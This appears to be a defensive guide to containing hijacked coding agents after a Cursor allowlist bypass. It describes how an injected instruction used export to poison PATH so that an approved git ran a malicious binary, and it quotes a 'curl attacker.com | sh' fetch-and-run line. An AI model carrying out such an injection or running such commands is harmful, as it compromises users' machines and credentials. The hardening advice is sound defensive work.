If you read the analysis of why agent allowlists keep failing, you already have the diagnosis: a list of approved command names is not a security boundary. This is the prescription — the concrete config that contains a hijack, with commands you can paste.

The one thing to keep in your head: the boundary is the environment a command runs in, not the string you inspected. CVE-2026-22708 is the proof. In Cursor's Auto-Run mode, shell built-ins like export and declare ran without appearing in the allowlist and without approval, letting an injected instruction poison PATH so that an approved git resolved to a malicious binary (Pillar Security). The allowlist did its job. The job was the wrong one.

Fix it in four layers. Ship all four; each backstops the next.

1. Patch the tool — but don't trust it as the boundary#

Update Cursor to 2.3 or later. The fix treats shell built-ins as executable and requires explicit approval for any command its server-side parser cannot classify (advisory; affected <= 2.2 per NVD).

# Verify you're on a fixed build
cursor --version   # must be >= 2.3

That closes this bypass. It does not make an auto-run allowlist safe — it just moves the goalposts to the next parser gap. Everything below assumes the tool will eventually be bypassed again.

2. Take the raw shell away from the model#

The cheapest structural win: don't expose a general shell as a tool at all. Expose narrow, typed tools whose arguments you construct, so the model picks an operation, never a command string. Instead of run_shell(cmd), give it:

{
  "name": "run_tests",
  "description": "Run the project test suite. No arguments are model-controlled.",
  "input_schema": { "type": "object", "properties": {}, "additionalProperties": false }
}

When you must shell out, resolve the binary by absolute path and pass arguments as an argv array — never interpolate model text into a shell string:

import subprocess
# Good: no shell, absolute binary, argv list — no PATH lookup, no metachars
subprocess.run(["/usr/bin/git", "status", "--porcelain"], shell=False, check=True)

3. Launch the shell with a stripped, pinned environment#

If a shell is unavoidable, strip the inherited environment and pin PATH so there is nothing to poison. env -i clears everything; you then set only what you need:

# Empty environment, absolute PATH, minimal HOME — injected export/alias/declare
# have nothing to hijack, and lookups can't be redirected.
env -i \
  PATH=/usr/local/bin:/usr/bin \
  HOME=/home/agent \
  /bin/sh

An approved git is only safe if git can't be redirected. Pin the PATH and the approval starts meaning something again.

4. Run tool execution in a real sandbox#

The container is where a breakout should land in an empty, offline room. A default docker run is not that — it shares the network, can reach cloud metadata, and often runs as root. These flags are the difference (a container is not automatically a sandbox):

docker run --rm -it \
  --network none \                       # no egress: exfil and payload pulls fail
  --read-only \                          # immutable root filesystem
  --tmpfs /tmp:rw,noexec,nosuid,size=64m \# writable scratch, non-executable
  --cap-drop=ALL \                       # drop every Linux capability
  --security-opt=no-new-privileges \     # setuid can't escalate
  --user 10001:10001 \                   # non-root
  --pids-limit=256 --memory=1g \         # blast-radius limits
  agent-sandbox:pinned \
  env -i PATH=/usr/local/bin:/usr/bin /bin/sh

Flag by flag: --network none means an injected curl attacker.com | sh can't fetch anything and stolen data can't leave — the execution-layer cousin of Simon Willison's lethal trifecta. --read-only plus a noexec tmpfs means the agent can't drop a binary and run it. --cap-drop=ALL and --security-opt=no-new-privileges kill the usual escalation paths. A non-root --user means even a mount mistake isn't root on the host.

5. Never hand the sandbox your credentials#

--network none blocks the cloud metadata endpoint (169.254.169.254) outright. Keep it that way, and make sure you aren't undoing it: don't mount ~/.aws, ~/.config/gcloud, or ~/.kube into the container, and don't pass secrets with -e. Inject only the one short-lived, least-privilege token a task truly needs, at run time:

# Bad — hands the agent your whole cloud identity:
#   docker run -v ~/.aws:/root/.aws:ro ...
# Good — one scoped, expiring token, nothing else:
docker run --rm --network none \
  -e TASK_TOKEN="$(vault read -field=token secret/agent/scoped-ttl-5m)" \
  agent-sandbox:pinned run_tests

6. Gate the irreversible behind a human#

Sandboxing shrinks what a hijack can do; a human gate covers what must sometimes leave the box. Anything irreversible — git push, terraform destroy, a payment, an outbound email — routes to explicit approval, not an allowlist. Microsoft's guidance after the Semantic Kernel RCEs is blunt: your LLM is not a security boundary. Treat every model-derived action as untrusted, and put the boundary in the environment you control.

For running genuinely untrusted agent code beyond a local container, the same principles scale to a managed sandbox like E2B — the flags change, the four layers don't.